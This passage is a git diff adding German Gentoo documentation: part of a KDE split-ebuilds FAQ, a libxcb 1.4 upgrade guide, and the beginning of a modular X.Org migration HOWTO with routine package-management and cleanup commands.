+<title>'split' Ebuilds FAQ</title>
+<section>
+<title>Warum fehlen bei einigen 'split' Paketen die neuesten Ebuild Versionen?</title>
+<body>
+
+<p>
+Wie bereits erklärt wurde, nicht alle Anwendungen werden zwischen kleinen KDE
+Releases aktualisiert und somit erhalten auch nicht alle Anwendungen neue
+Ebuild Versionen. Zum Beispiel libkdenetwork wurde nicht in Version 3.5.0_beta2
+aktualisiert, somit ist das aktuellste verfügbare Ebuild für dieses Release
+3.5_beta1.
+</p>
+
+<p>
+Das alles wird nur aus dem Grund getan, die Kompilierungszeit während eines
+Upgrades zu reduzieren. Wenn wir ein libkdenetwork-3.5.0_beta2 Ebuilds erstellt
+hätten, hätte es die exakt gleichen Dateien wie das Ebuild 3.5_beta1
+installiert. Die verschiedenen Abhängigkeiten werden aktualisiert, damit alles
+korrekt funktioniert (d.h. kein Ebuild wird von libkdenetwork-3.5.0_beta2
+abhängig sein).
+</p>
+
+<p>
+Beachten Sie, dass Sie deshalb auch Pakete vorheriger Versionen von KDE
+demaskieren müssen, falls Sie maskierte Versionen von KDE installieren wollen
+und diese ebenfalls maskiert sind. Eventuell sollten Sie einen Blick auf <uri
+link="https://bugs.gentoo.org/125126">diesen Bug</uri> werfen, um weitere
+Details zu erfahren.
+</p>
+
+</body>
+</section>
+<section>
+<title>Können wir das nicht bereits auch mit DO_NOT_COMPILE tun?</title>
+<body>
+
+<p>
+DO_NOT_COMPILE ist eine für das KDE-Buildsystem interne Umgebungsvariable. Sie
+erlaubt es selektiv Unterverzeichnisse vom Kompilierungsvorgang auszuschließen.
+Einige Leute verwenden sie, um Teile des monolithischen KDE-Ebuilds zu
+kompilieren. Zum Beispiel würde <c>DO_NOT_COMPILE=konqueror emerge kdebase</c>
+kdebase ohne die Anwendung <c>konqueror</c> installieren.
+</p>
+
+<p>
+Jedoch war DO_NOT_COMPILE nie dafür ausgelegt sich in den Prozess eines
+automatisierten Vorgangs eines Paketmanagers einzumischen. Es funktioniert
+einfach nicht, es kann das System lahm legen, und es wurde nie unterstützt.
+Wir bitten jeden von der Verwendung dieses Konstrukts Abstand zu nehmen.
+</p>
+
+<p>
+Here ist eine unvollständige Liste von Problemen mit DO_NOT_COMPILE:
+</p>
+
+<ul>
+  <li>
+    Es führt dazu, dass Portage Abhängigkeiten nicht korrekt nachvollziehen
+    kann. Portage weiß nichts von DO_NOT_COMPILE und denkt, dass das ganze
+    monolithische Paket installiert wurde und somit die Abhängigkeiten von
+    anderen Paketen erfüllen kann. Das kann dazu führen, dass sich andere
+    Pakete nicht installieren oder ausführen lassen.
+  </li>
+  <li>
+    Es zwingt den Benutzer dazu, die Namen und Bedeutung von allen verschiedenen
+    vorhandenen Unterverzeichnissen von den KDE Modulen zu kennen. Sehr wenige
+    Benutzer kennen diese, wenn sie nicht gerade KDE-Entwickler sind, also
+    können sie DO_NOT_COMPILE nicht korrekt verwenden.
+  </li>
+  <li>
+    Unterverzeichnisse von KDE Modulen können selbst untereinander Abhängkeiten
+    haben, die eine besondere Reihenfolge der Verarbeitung verlangen, ein
+    anderes Verzeichnis benötigen auch wenn es nicht installiert werden muss,
+    und so weiter. Wir haben viel Arbeit in die 'split' Ebuilds gesteckt, damit
+    sie in diesem Zusammenhang korrekt arbeiten. DO_NOT_COMPILE ist nicht im
+    Entferntesten ein ausreichend präzises Tool, dass dieselben Ergebnisse
+    erreichen lässt, auch nicht mit ausreichend gegebenem Wissen auf der
+    Benutzerseite. Das Einzige, was Sie damit machen können, ist ein paar
+    Anwendungen vom Kompiliervorgang auszuschließen. Es ist praktisch unmöglich
+    ein paar ausgewählte Anwendungen von Modulen wie <c>kdebase</c> oder
+    <c>kdepim</c> damit zu installieren.
+  </li>
+  <li>
+    Wenn ich gestern Kmail installiert habe, und heute möchte ich mit
+    DO_NOT_COMPILE Korn hinzufügen, führt es dazu, dass Kmail auch nochmals
+    kompiliert wird. Das bedeutet, DO_NOT_COMPILE ist immer langsamer als die
+    'split' Ebuilds.
+  </li>
+  <li>
+    DO_NOT_COMPILE kann nicht dazu verwendet werden, um vorkompilierte Pakete
+    (wie die GRP), die einzelne KDE Anwendungen beinhalten, zu installieren.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Führt das nicht zu sehr viel Arbeit für die Gentoo KDE Maintainer?</title>
+<body>
+
+<p>
+Diese Frage wird überraschenderweise oft gestellt. Ich bin froh, dass sich
+Benutzer so um uns Maintainer sorgen. Lassen Sie mich die Gelegenheit nutzen,
+um Ihnen zu versichern, dass wir uns den 'split' Ebuilds aus unserem freien
+Willen heraus angenommen haben; dass wir daran glauben, dass wir in der Lage
+sein werden, diese weiterhin gut verwalten zu können; und dass es keine Chance
+gibt, uns davon abzuhalten :-)
+</p>
+
+<p>
+Der Vollständikeit halber sollte ich erwähnen, dass sich die Maintainer von
+anderen Architekturen sehr wohl über den erhöhten Aufwand was Testen und
+Keywording von so vielen separaten Ebuilds betrifft, beschwert haben. Wir
+arbeiten daran, und es ist auch ein Hauptgrund warum es monolithische Ebuilds
+noch immer für KDE 3.5 gibt.
+</p>
+
+</body>
+</section>
+<section>
+<title>Werden die alten (monolithischen) Ebuilds entfernt?</title>
+<body>
+
+<p>
+Wir haben vor, das früher oder später zu tun. Jedoch wird es sowohl
+monolithische als auch 'split' Ebuilds für alle KDE 3  Releases bis 3.5.9 geben.
+Für KDE 3.5.10 sowie folgende Versionen und KDE4 bieten wir keine monolithischen
+Ebuilds mehr an.
+</p>
+
+<p>
+Wenn Sie die monolithischen den 'split' Ebuilds gegenüber vorziehen, bitte
+<uri link="http://bugs.gentoo.org">teilen Sie uns</uri> Ihre Gründe mit.
+</p>
+
+</body>
+</section>
+<section>
+<title>Es gibt zuviele Ebuilds! Wie soll ich das finden, was ich
+brauche?</title>
+<body>
+
+<p>
+Nun gut, zu allererst wenn Sie wissen, dass das Paket nach dem Sie suchen in
+kdebase enthalten war, dann können Sie immer noch <c>emerge kdebase-meta</c>
+ausführen, um so ziemlich das selbe Resultat zu erhalten wie wenn Sie das
+monolithische <c>kdebase</c> installieren würden. Deswegen haben sich eigentlich
+die Dinge wegen der 'split' Ebuilds nicht verschlechtert.
+</p>
+
+<p>
+Natürlich können Sie noch immer auf demselben Weg ihre Pakete finden. Wie
+würden Sie Ihr Ebuild finden, wenn es sich um eine Gnome Anwendung handelt?
+Zumindest müssen Sie wissen wie die Anwendung heißt nach der Sie suchen.
+</p>
+
+<p>
+Die Situation könnte vielleicht verbessert werden, wenn mehrere -meta Ebuilds
+zur Verfügung gestellt werden. Sie sind hauptsächlich eine Liste von
+Abhängigkeiten, somit bereiten sie für uns keine großen Umstände. Darüber wurde
+aber noch nichts beschlossen. Auch wäre es nett, wenn Portage
+Mengenfunktionalität bieten würde, bevore wir das ausbreiten.
+</p>
+
+</body>
+</section>
+<section>
+<title>Wie kann ich alle 'split' Ebuilds, die von einem gegebenen Paket abgeleitet werden können, auflisten/deinstallieren?</title>
+<body>
+
+<p>
+Das jetzige Ziel ist es, eine Liste aller 'split' Ebuilds, die z.B. vom
+<c>kdebase</c> monolithischem Ebuild abgeleitet werden können, zu bekommen.
+Wieder einmal würde eine passenden Implementierung (wie in <uri
+link="/proj/en/glep/glep-0021.html">GLEP 21</uri>) die Sache sehr einfach
+machen. Momentan müssen Sie aber einen Einblick in die Implementierung der KDE
+eclasses erlangen. Also, wenn Sie irgendeinen dieser Ansätze in einem Skript,
+das nicht für den privaten Gebrauch alleine ist, verwenden, lassen Sie uns davon
+wissen.
+</p>
+
+<p>
+kde-functions.eclass definiert Funktionen wie get-parent-package() und
+get-child-packages(), die die Übersetzung für Sie vornehmen. Diese zwei
+Funktionen sind der korrekte Weg, um diese Aufgaben von einem Ebuild oder einem
+externen Bashskript aus zu lösen. Hier ist ein Beispiel:
+</p>
+
+<pre caption="Beispiel der Verwendung der kde-functions Funktionen:">
+$ <i>function die() { echo $@; }</i> <comment># um Fehler auszugeben</comment>
+$ <i>source /usr/portage/eclass/kde-functions.eclass</i>
+$ <i>get-parent-package konqueror</i> <comment># wird nicht funktionieren, sie
+müssen einen vollen Namen angeben</comment>
+Package konqueror not found in KDE_DERIVATION_MAP, please report bug <comment>#
+Ausgabe des Fehlers</comment>
+$ <i>get-parent-package kde-base/konqueror</i> <comment># voll qualifizierter
+Paketname</comment>
+kde-base/kdebase <comment># Ausgabe des Ergebnis</comment>
+$ <i>get-child-packages kde-base/kdebase</i>
+<comment>(Ausgabe einer langen Liste von Paketen)</comment>
+</pre>
+
+<p>
+Wenn Ihr Skript nicht in Bash ist, können Sie ein grep auf die
+kde-functions.eclass machen, um die (mehrzeilige) Definition der Variable
+KDE_DERIVATION_MAP, die die zuvor genannten Funktionen verwendet, zu erhalten.
+Diese Variable enthält eine durch Leerzeichen getrennte Liste an Wörtern, und
+jede zwei aufeinanderfolgenden Wörter bilden ein Paket auf ein abgeleitetes
+'split' Ebuild ab.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/de/desktop/x/x11/libxcb-1.4-upgrade-guide.xml b/xml/htdocs/proj/de/desktop/x/x11/libxcb-1.4-upgrade-guide.xml
new file mode 100644
index 00000000..9982a9cd
--- /dev/null
+++ b/xml/htdocs/proj/de/desktop/x/x11/libxcb-1.4-upgrade-guide.xml
@@ -0,0 +1,147 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/de/desktop/x/x11/libxcb-1.4-upgrade-guide.xml,v 1.1 2009/10/05 14:20:21 keytoaster Exp $ -->
+
+<guide link="/proj/de/desktop/x/x11/libxcb-1.4-upgrade-guide.xml" lang="de">
+<title>Gentoo libxcb 1.4 Upgrade Leitfaden</title>
+
+<author title="Autor">
+  <mail link="remi" />
+</author>
+<author title="Übersetzer">
+  <mail link="keytoaster" />
+</author>
+
+<abstract>
+Dieser Leitfaden zeigt, wie man von libxcb 1.1.90.2 und älter auf libxcb 1.4
+aktualisiert.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+<version>0.1</version>
+<date>2009-09-12</date>
+
+<chapter>
+<title>Aktualisieren auf libxcb 1.4</title>
+<section>
+<body>
+
+<pre caption="Aktualisieren der xcb-Pakete">
+# <i>emerge -1av x11-proto/xcb-proto x11-libs/libxcb</i>
+# <i>emerge -1av x11-proto/xproto x11-proto/xextproto x11-libs/libX11 x11-libs/libXext</i>
+</pre>
+
+<p>
+Sie haben nun alle benötigten Pakete mit Unterstützung für die neue libxcb.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Reparieren der kaputten libtool-Archive</title>
+<section>
+<body>
+
+<p>
+Auch wenn das Update schon vorbei ist und Ihr System immer noch funktioniert,
+kann das Installieren von neuen Paketen oder Aktualisieren von Paketen einige
+unerfreuliche Überraschungen mit sich bringen. Dies liegt an libtools
+berühmt-berüchtigten Archiven: <c>.la</c> Dateien.
+</p>
+
+<p>
+Das Problem ist, dass bis vor Kurzem libX11 eine private libxcb-Bibliothek
+namens <c>libxcb-xlib.so</c> verwendet hat, die speziell für libX11 entwickelt
+wurde. Auch wenn das selbst kein Problem darstellt, hat diese keine Bibliothek
+(fast) jede einzelne <c>.la</c> Datei auf Ihrem System verschmutzt. So
+funktioniert libtool eben.
+</p>
+
+<p>
+Aber dies wird nun allmählich zum Problem, da neuere Versionen von libxcb diese
+Bibliothek nicht mehr beeinhalten (und libX11 wurde natürlich entsprechend
+angepasst). Wir müssen nun alle Referenzen auf diese Bibliothek in den
+<c>.la</c> Dateien loswerden.
+</p>
+
+<p>
+Um dies zu tun, führen Sie einfach
+<c>/usr/portage/x11-libs/libxcb/files/xcb-rebuilder.sh</c> aus, um alle
+<c>.la</c> Dateien auf Ihrem System zu reparieren.
+</p>
+
+<p>
+Das Werkzeug teilt Ihnen auch mit, ob Shared-Libraries (<c>.so</c> Dateien,
+normalerweise unterhalb von <c>/lib</c> und <c>/usr/lib</c>) die nun nicht mehr
+bestehende Bibliothek referenzieren. Wenn es kaputte Pakete berichtet, lesen Sie
+bitte weiter. Wenn nicht, haben Sie Glück gehabt und Ihr System ist in einem
+guten Zustand. :)
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Reparieren der "kaputten" Shared-Libraries</title>
+<section>
+<body>
+
+<p>
+Um zu vermeiden, dass die Systeme der Benutzer komplett zerstört werden, haben
+wir entschieden, die Datei <c>libxcb-xlib.so</c> zu behalten, so dass Sie eine
+Chance haben, Ihr System nach eigenem Ermessen zu reparieren. Wenn Sie die
+Anweisungen oben befolgt haben, sollte Ihr System nun korrekt funktionieren --
+sowohl beim Bauen von Paketen als auch beim Ausführen.
+</p>
+
+<p>
+Aber bevor Sie <c>libxcb-xlib.so</c> entfernen können, müssen Sie einige wenige
+Pakete neu bauen. Wenn Sie diese nicht neu bauen, wird das Entfernen der alten
+Bibliothek Ihr System <b>zerstören</b>.
+</p>
+
+<p>
+Führen Sie den folgenden Einzeiler aus, um eine einfache, aber effektive,
+Untermenge von potenziell kaputten Paketen neu zu bauen. Keine Sorge, Pakete,
+die Sie nicht installiert haben, werden nicht installiert.
+</p>
+
+<pre caption="Neubauen grundlegender Pakete">
+# <i>emerge --oneshot \
+$(for i in x11-proto/ x11-libs/libxcb x11-libs/libX11 x11-libs/libXext \
+           x11-libs/libX x11-libs/xcb-util x11-libs/cairo \
+           x11-libs/pango x11-libs/gtk\\+ \
+           x11-libs/qt-gui; do \
+    qlist -IC $i; \
+done) -av</i>
+</pre>
+
+<p>
+Sobald dies erledigt ist, können Sie <c>revdep-rebuild</c> (aus
+<c>app-portage/gentoolkit</c>) verwenden, um den Rest Ihres Systems zu
+reparieren.
+</p>
+
+<pre caption="Neubauen der verbleibenden kaputten Pakete">
+# <i>revdep-rebuild -L libxcb-xlib.so.0</i>
+</pre>
+
+<p>
+Wenn <c>revdep-rebuild</c> keine weiteren kaputten Pakete mehr auflistet,
+können Sie <c>libxcb-xlib.so.0</c> gefahrlos aus Ihrem Bibliothekenverzeichnis
+löschen.
+</p>
+
+<pre caption="Löschen der jetzt unbenutzen Bibliotheken">
+# <i>rm -i /usr/lib/libxcb-xlib.so*</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/de/desktop/x/x11/modular-x-howto.xml b/xml/htdocs/proj/de/desktop/x/x11/modular-x-howto.xml
new file mode 100644
index 00000000..29f2fa4f
--- /dev/null
+++ b/xml/htdocs/proj/de/desktop/x/x11/modular-x-howto.xml
@@ -0,0 +1,682 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/de/desktop/x/x11/modular-x-howto.xml,v 1.6 2008/05/12 15:18:08 keytoaster Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- English CVS Version: 1.64 -->
+
+<guide link="/proj/de/desktop/x/x11/modular-x-howto.xml" lang="de">
+<title>Migrations-HOWTO zu modularem X</title>
+
+<author title="Autor">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Autor">
+  <mail link="joshuabaergen@gmail.com">Joshua Baergen</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="stefangasten@web.de">Stefan Gasten</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="jens.gruentjes@freenet.de">Jens Grüntjes</mail>
+</author>
+
+<abstract>
+Dieser Leitfaden zeigt Ihnen, wie Sie zu modularem X.Org migrieren.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1.2</version>
+<date>2006-11-05</date>
+
+<chapter>
+<title>Einleitung</title>
+<section>
+<title>Warum modular?</title>
+<body>
+
+<p>
+Sie fragen sich vielleicht, warum aus einem einfachen xorg-x11-Paket beinahe
+300 einzelne geworden sind. Das wäre auch ein ganz berechtigte Frage. =)
+Es handelt sich dabei nicht um etwas, was Gentoo unabhängig von X.Orgs
+Entwicklung macht; sie spalten die ganzen Pakete in separate Versionen und wir
+folgen diesem Beispiel nur.
+</p>
+
+<p>
+Für dieses Aufteilen und ändern des Build-Systems gibt es mindestens drei
+Gründe:
+</p>
+
+<ul>
+<li>
+  Für neue Entwickler ist es zu schwierig sich in X einzuarbeiten. Deswegen der
+  Wechsel zu automatischen Tools, an welche mehr Leute gewöhnt sind.
+</li>
+<li>
+  Dementsprechend ist es auch möglich, den Quelltext mit autotools aufzuteilen,
+  was es gleichzeitig entwicklerfreundlicher macht.
+</li>
+<li>
+  Dinge sind unnötigerweise zusammengelegt worden, was dazu führte, dass
+  Bugfixes oft nicht veröffentlicht werden konnten. Wenn die Fixes
+  veröffentlicht wurden, war es nötig, XOrg vollständig neu zu übersetzen. Zum
+  Beispiel müsste ein Bug im ATI-Treiber entweder 6 Monate bis zur nächsten
+  Version warten, oder man müsste unnötigerweise seine Schriftarten erneut
+  erstellen.
+</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Migration zum modularem X</title>
+<section>
+<title>Einleitung</title>
+<body>
+
+<p>
+Um zu verhinden, dass ein altes Paket im Weg ist, werden wir all den
+überflüssigen Müll vor der Installation von modularem X beseitigen. Dies ist
+nicht unbedingt entscheidend, aber es wird helfen einen sanften Übergang zu
+garantieren.
+</p>
+
+</body>
+</section>
+<section>
+<title>Erster Schritt: Das alte X bereinigen</title>
+<body>
+
+<p>
+Erstellen Sie sich eine Sicherungskopie Ihres monolithischen xorg-x11 für den
+Fall, dass das modulare X nicht zufriedenstellend funktioniert und Sie zu 6.x
+zurückkehren möchten. Vielleicht wollen Sie einen textbasierten Browser wie
+links oder lynx installieren, um dieses Howto lesen zu können, falls X nicht
+verfügbar ist.
+</p>
+
+<pre caption="Sichern des alten xorg-x11">
+# <i>emerge gentoolkit</i>
+# <i>quickpkg xorg-x11</i>
+</pre>
+
+<p>
+Werden Sie die monolithische Installation los. Um die Möglichkeit von Abstürzen
+oder das Einfrieren Ihres Systems zu verhindern, raten wir Ihnen, alle laufenden
+X-Sitzungen zu beenden, bevor Sie X.org deinstallieren.
+</p>
+
+<pre caption="Die monolithische Installation unmergen">
+# <i>emerge -Ca xorg-x11 virtual/x11</i>
+</pre>
+
+<p>
+Wenn Ihr <path>/usr/X11R6</path> kein symbolischer Link auf <path>/usr</path>
+ist, löschen Sie diesen und beginnen Sie ganz von vorne. Sichern Sie aber
+zunächst eine Liste aller Pakete, die dort installiert sind. Das
+<c>gentoolkit</c> Paket stellt <c>equery</c> zur Verfügung.
+</p>
+
+<pre caption="Eine Paketliste anfertigen">
+# <i>if [[ ! -L /usr/X11R6 ]]; \
+  then equery belongs /usr/X11R6 > ~/usr-x11r6-packages \
+  &amp;&amp; rm -rf /usr/X11R6; fi</i>
+</pre>
+
+<p>
+Schließlich sollte, wenn es vorhanden ist, <path>/usr/lib/X11/xkb</path>
+(bei 64-Bit Benutzern <path>/usr/lib64/X11/xkb</path>) entfernt werden. Dies
+ist eine Voraussetzung für die Installation des <c>xkeyboard-config</c> Pakets.
+</p>
+
+</body>
+</section>
+<section>
+<title>Zweiter Schritt: Modulares X installieren</title>
+<body>
+
+<p>
+Für Direct Rendering setzen Sie bitte das <c>dri</c> USE-Flag. Es sollte
+standardmäßig gesetzt sein.
+</p>
+
+<p>
+Als nächstes entscheiden Sie, welche Treiber Sie installieren müssen. Dies
+variiert basierend auf Ihrer Eingabe- und Video-Hardware. Wenn Sie bereits eine
+funktionierende <path>/etc/X11/xorg.conf</path> haben, führen Sie folgenden
+Befehl aus, um eine Vorstellung über die benötigten Treiber zu erhalten:
+</p>
+
+<pre caption="Herausfinden, welche Treiber gebraucht werden">
+# <i>grep Driver /etc/X11/xorg.conf</i>
+    Driver      "kbd"
+    Driver      "mouse"
+    Driver      "radeon"
+</pre>
+
+<pre caption="Verfügbare Treiber kontrollieren">
+# <i>emerge --verbose --pretend xorg-x11</i>
+[ebuild   R   ] x11-base/xorg-x11-7.0-r1  USE="-xprint" INPUT_DEVICES="keyboard
+mouse -acecad -aiptek -calcomp -citron -digitaledge -dmc -dynapro -elo2300
+-elographics -evdev -fpit -hyperpen -jamstudio -joystick -magellan -magictouch
+-microtouch -mutouch -palmax -penmount -spaceorb -summa -synaptics% -tek4957
+-ur98 -vmmouse -void" VIDEO_CARDS="i128 mga radeon savage -apm -ark -chips
+-cirrus -cyrix -dummy -fbdev -fglrx% -glint -i740 -i810 -imstt -mach64 -neomagic
+-newport -nsc -nv -nvidia% -r128 -rendition -s3 -s3virge -siliconmotion -sis
+-sisusb -sunbw2 -suncg14 -suncg3 -suncg6 -sunffb -sunleo -suntcx -tdfx -tga
+-trident -tseng -v4l -vesa -vga -via -vmware -voodoo" 0 kB
+</pre>
+
+<p>
+Setzen Sie INPUT_DEVICES und VIDEO_CARDS Ihren Bedürfnissen entsprechend in
+<path>/etc/make.conf</path>. Das Minimum der obigen Einstellungen wäre
+INPUT_DEVICES="<c>keyboard mouse</c>" VIDEO_CARDS="<c>radeon</c>". Wenn Sie
+keine der Variablen setzen, wird xorg-x11 alle möglichen Treiber diesen Typs
+einbauen. Als Backup-Treiber sollten Sie vielleicht außerdem <c>vesa</c> und
+<c>fbdev</c> zu VIDEO_CARDS hinzufügen.
+</p>
+
+<p>
+Jetzt installieren Sie das Metabuild. Dies wird den Server und beliebte
+Anwendungen installieren und Ihnen eine funktionierende Desktop-Implementierung
+von X zur Verfügung stellen.
+</p>
+
+<pre caption="Installieren des modularen Metabuilds">
+# <i>emerge xorg-x11</i>
+# <i>etc-update</i>
+# <i>revdep-rebuild</i>
+# <i>[[ -e ~/usr-x11r6-packages ]] &amp;&amp; emerge
+$(&lt;~/usr-x11r6-packages)</i>
+</pre>
+
+<note>
+Wenn Sie wirklich eine minimale Installation wollen, installieren Sie nur
+<c>xorg-server</c>. Dies wird nur das einbauen, was zum Starten des X-Servers
+notwendig ist.
+</note>
+
+<p>
+Diese Installation versucht möglichst klein zu sein, so dass Dinge wie
+xcursor-themes standardmäßig nicht installiert werden. In diesem spezifischen
+Beispiel werden Sie xcursor-themes wollen, falls Sie Ihre Cursor-Einstellung
+auf whiteglass, redglass, oder handhelds geändert haben. Wenn Sie die gentoo,
+gentoo-blue, oder gentoo-silver Cursorthemes benutzen, installieren Sie
+gentoo-xcursors.
+</p>
+
+<note>
+Bei modularer Installation kann es sein, dass externe Treiber wie nvidia-glx,
+wacom und auch einige vnc-Applikationen nicht arbeiten, wenn diese ihr Zeug
+nach <path>/usr/lib/modules</path> anstelle von
+<path>/usr/lib/xorg/modules</path> installieren. Viele werden eine Erkennung
+für modulares X in die Installationsroutinen eingebaut haben, wodurch sie nach
+der Installation von modularem X erneut emerged werden müssen. Außerdem werden
+Sie bei vielen externen Treibern das <c>dlloader</c> USE-Flag setzen und dann
+die Treiber neu erstellen müssen.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Vorbehalte/Gängige Probleme</title>
+<section>
+<title>'emerge -u world' will xorg-x11 6.x, oder virtual/x11 installieren</title>
+<body>
+
+<p>
+Das kommt daher, dass der Portagetree bisher nicht an die modularen
+Abhängigkeiten angepasst wurde. Sie können der Portierung helfen, indem Sie das
+<uri link="/proj/en/desktop/x/x11/porting-modular-x-howto.xml">HOWTO zur
+Portierung zum modularem X</uri> lesen und Bugs mit Patches für das jeweilige
+Paket bei den Entwicklern einreichen. Die Entwickler werden in der Datei
+<path>metadata.xml</path> aufgeführt sein, welche sich im selben Verzeichnis
+wie das Paket befindet, und das <c>herdstat</c> Paket wird die Suche nach ihnen
+beschleunigen.
+</p>
+
+<p>
+Vor allem, wenn Sie modulares X auf einem ansonsten stabilen System betreiben,
+werden Sie mit dieser Angelegenheit konfrontiert werden. Viele Pakete arbeiten
+nur in der ~arch-Version mit modularem X, also werden Sie womöglich zusätzliche
+Pakete der Datei <path>/etc/portage/package.keywords</path> hinzufügen müssen.
+</p>
+
+</body>
+</section>
+<section>
+<title>Was ist mit den ganzen USE-Flags passiert?</title>
+<body>
+
+<p>
+Viele der USE-Flags in xorg-x11-6.8-Serie verschwanden oder verschoben sich in
+7.0. Es erschienen neue USE-Flags. Hier kommt der Grund dafür:
+</p>
+
+<table>
+<tr>
+  <th>USE-Flag</th>
+  <th>Was passiert in 7.0?</th>
+</tr>
+<tr>
+  <ti>3dfx</ti>
+  <ti>In 7.0 beinhaltet das xorg-x11 Metabuild glide-v3</ti>
+</tr>
+<tr>
+  <ti>3dnow, mmx, sse</ti>
+  <ti>Standardmäßig beim Erstellen aktiviert, weil es Laufzeit-Checks gibt</ti>
+</tr>
+<tr>
+  <ti>bitmap-fonts, truetype-fonts, type1-fonts</ti>
+  <ti>
+    Das xorg-x11 Metabuild beinhaltet eine geringe Auswahl der am meisten
+    benutzten oder benötigten Schriften. Sie können zusätzlich alle weiteren
+    vorhandenen in media-fonts/ installieren.
+  </ti>
+</tr>
+<tr>
+  <ti>cjk</ti>
+  <ti>
+    Verwenden Sie USE=nls bei font-misc-misc und font-sony-misc, um japanische
+    JISX0201 Schriften zu erhalten. Weitere befinden sich in font-jis-misc.
+    Chinesische Schriften sind in font-isas-misc. Koreanische Schriften sind in
+    font-daewoo-misc.
+  </ti>
+</tr>
+<tr>
+  <ti>dlloader</ti>
+  <ti>
+    7.0 verwendet dlloader standardmäßig, und der elfloader funktioniert nicht.
+  </ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>Verschoben nach app-doc/xorg-docs</ti>
+</tr>
+<tr>
+  <ti>dmx</ti>
+  <ti>In xorg-server eingebaut, sofern nicht USE=minimal.</ti>
+</tr>
+<tr>
+  <ti>font-server</ti>
+  <ti>Sie können xfs manuell installieren.</ti>
+</tr>
+<tr>
+  <ti>ipv6</ti>
+  <ti>
+    Verschoben in individuelle Pakete, welche dies verwenden. Setzen Sie es
+    global, wenn Sie es wünschen.
+  </ti>
+</tr>
+<tr>
+  <ti>minimal</ti>
+  <ti>
+    Um den selben Effekt zu erzielen, installieren Sie einfach xorg-server
+    anstelle von xorg-x11. USE=minimal beim xorg-server verhindert das
+    Erstellen von Xdmx, Xvfb und Xnest. Wenn Sie etwas minimaleres wünschen,
+    sehen Sie sich x11-base/kdrive an.
+  </ti>
+</tr>
+<tr>
+  <ti>nls</ti>
+  <ti>
+    In 7.0 installiert USE=nls alle nicht-ISO8859-1 Versionen der Schriften.
+  </ti>
+</tr>
+<tr>
+  <ti>nocxx</ti>
+  <ti>Bisher nichts äquivalentes in 7.0</ti>
+</tr>
+<tr>
+  <ti>opengl</ti>
+  <ti>
+    Hat den Namen zu "dri" gewechselt, welches Direct Rendering in xorg-server
+    und vielen Treibern aktiviert. Ob USE=dri gesetzt ist oder nicht, Sie
+    sollten dennoch Software-3D mittels Mesa bekommen.
+  </ti>
+</tr>
+<tr>
+  <ti>pam</ti>
+  <ti>
+    Verschoben in individuelle Pakete, die dies verwenden, wie zum Beispiel
+    xorg-server und xdm.
+  </ti>
+</tr>
+<tr>
+  <ti>sdk</ti>
+  <ti>7.0 muss SDK als Folge der Modularisierung installieren.</ti>
+</tr>
+<tr>
+  <ti>static</ti>
+  <ti>
+    Normalerweise macht es nicht allzu viel Sinn, einen statischen Server in
+    einer modularen Umgebung zu erstellen, da der Treiber nicht eingebaut
+    werden kann.
+  </ti>
+</tr>
+<tr>
+  <ti>xprint</ti>
+  <ti>
+    Beim Metabuild in libXp eingebaut. Bei anderen Applikationen wird
+    xprint-Support eingebaut. Die meisten werden dies nicht aktivieren wollen.
+  </ti>
+</tr>
+<tr>
+  <ti>xv</ti>
+  <ti>
+    Nicht länger optional, da es nicht viel Platz spart und in Verbindung
+    mit anderen Paketen, die es voraussetzen, Probleme verursacht.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Was ist mit all den Konfigurationsdateien passiert?</title>
+<body>
+
+<p>
+In Gentoos X.Org 6.8 Paket wurden alle Konfigurationsdateien unter
+<path>/etc/X11</path> gespeichert. Im modularen X wurden die Speicherorte für
+diese Dateien geändert -- das bedeutet, dass die Konfigurationsdateien noch
+immer in <path>/etc/X11</path> liegen, dass aber Skripte und
+Standardkonfigurationen nun unter <path>/usr/lib/X11</path> (oder
+<path>/usr/lib64/X11</path>) und <path>/usr/share/X11</path> zu finden sind.
+</p>
+
+<p>
+Wegen des Schutzes der Konfigurationsdateien (CONFIG_PROTECT) werden Sie
+wahrscheinlich alle Ihre alten Konfigurationsdateien von X.Org 6.8 noch unter
+<path>/etc/X11</path> haben, die dort nur Platz belegen und nützlich aussehen.
+</p>
+
+<p>
+Da diese neuen Verzeichnisse nicht unter dem Schutz von CONFIG_PROTECT stehen,
+ist es wichtig, dass alle Änderungen an den Standardkonfigurationen so
+durchgeführt werden, dass die relevanten Dateien nach <path>/etc/X11</path>
+kopiert und dort aktualisiert werden. Es folgen einige Beispiele:
+</p>
+
+<pre caption="Anpassen der Initialisierung von XDM">
+<comment>
+Zuerst kopieren Sie die Datei Xsetup_0 nach /etc, so dass sie
+konfigurations-geschützt ist.
+</comment>
+# <i>cp -a /usr/lib/X11/xdm/Xsetup_0 /etc/X11/xdm/</i>
+<comment>
+Bearbeiten und verändern Sie diese Datei nach Ihren Wünschen.
+</comment>
+<comment>
+Dann editieren Sie xdm-config, um den Pfad zu dieser Datei zu ändern.
+</comment>
+# <i>nano /etc/X11/xdm/xdm-config</i>
+<comment>
+Ändern Sie folgende Passage von dieser Version:
+</comment>
+  ! The following three resources set up display :0 as the console.
